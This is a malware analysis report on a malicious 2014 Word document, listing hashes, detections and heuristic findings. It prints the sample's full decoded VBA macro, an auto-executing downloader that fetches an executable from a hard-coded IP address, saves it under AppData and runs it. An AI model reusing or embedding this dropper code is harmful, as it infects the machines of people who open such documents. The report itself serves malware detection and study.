Office (OLE) malware analysis — malicious · 13deca95878e7d46

MALICIOUS

Office (OLE)

29.5 KB Created: 2014-04-12 12:46:00 Authoring application: Microsoft Office Word First seen: 2014-04-20

MD5: e41e9b1bddc5c3e528c40da7d1e7a2e5 SHA-1: 57a71e352a935860ca5c8769b42df15c89c19f4f SHA-256: 13deca95878e7d467817b9e3f47badb2b5db723277f09e557b788ac29a37a612

294 Risk Score

Heuristics 12

ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    IOLHSOTAAQF = Shell(OZCJEKUBGGJ, 1)
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set ITCYHIILEAG = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    VFOZQYSOPPW "http://5.104.105.194/bitstamp.exe", Environ("AppData") & "\JBLJKBODKMW.exe"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://5.104.105.194/bitstamp.exe In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1290 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1290 bytes
SHA-256: `a624a67ae6ad906740e5e04bad5ba24d46330766e97efbfc999030248471b081`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() LOHMGZHDTQV End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Function VFOZQYSOPPW(ByVal UUDQOIOTSDD As String, ByVal OZCJEKUBGGJ As String) As Boolean Dim ITCYHIILEAG As Object, LRBLVAAFPEZ As Long, RQOWHTHUOJQ As Long, KLKOQBFKGYC() As Byte Set ITCYHIILEAG = CreateObject("MSXML2.XMLHTTP") ITCYHIILEAG.Open "GET", UUDQOIOTSDD, False ITCYHIILEAG.Send "send request" Do While ITCYHIILEAG.readyState <> 4 DoEvents Loop KLKOQBFKGYC = ITCYHIILEAG.responseBody RQOWHTHUOJQ = FreeFile If Dir(OZCJEKUBGGJ) <> "" Then Kill OZCJEKUBGGJ Open OZCJEKUBGGJ For Binary As #RQOWHTHUOJQ Put #RQOWHTHUOJQ, , KLKOQBFKGYC Close #RQOWHTHUOJQ Dim IOLHSOTAAQF IOLHSOTAAQF = Shell(OZCJEKUBGGJ, 1) Set ITCYHIILEAG = Nothing End Function Sub LOHMGZHDTQV() VFOZQYSOPPW "http://5.104.105.194/bitstamp.exe", Environ("AppData") & "\JBLJKBODKMW.exe" End Sub

SHA-256: a624a67ae6ad906740e5e04bad5ba24d46330766e97efbfc999030248471b081

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
LOHMGZHDTQV
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Function VFOZQYSOPPW(ByVal UUDQOIOTSDD As String, ByVal OZCJEKUBGGJ As String) As Boolean
     Dim ITCYHIILEAG As Object, LRBLVAAFPEZ As Long, RQOWHTHUOJQ As Long, KLKOQBFKGYC() As Byte

    Set ITCYHIILEAG = CreateObject("MSXML2.XMLHTTP")
    ITCYHIILEAG.Open "GET", UUDQOIOTSDD, False
    ITCYHIILEAG.Send "send request"

    Do While ITCYHIILEAG.readyState <> 4
    DoEvents
    Loop

    KLKOQBFKGYC = ITCYHIILEAG.responseBody

    RQOWHTHUOJQ = FreeFile
    If Dir(OZCJEKUBGGJ) <> "" Then Kill OZCJEKUBGGJ
    Open OZCJEKUBGGJ For Binary As #RQOWHTHUOJQ
    Put #RQOWHTHUOJQ, , KLKOQBFKGYC
    Close #RQOWHTHUOJQ
    
    Dim IOLHSOTAAQF
    IOLHSOTAAQF = Shell(OZCJEKUBGGJ, 1)

    Set ITCYHIILEAG = Nothing
     
End Function
Sub LOHMGZHDTQV()
    VFOZQYSOPPW "http://5.104.105.194/bitstamp.exe", Environ("AppData") & "\JBLJKBODKMW.exe"
End Sub

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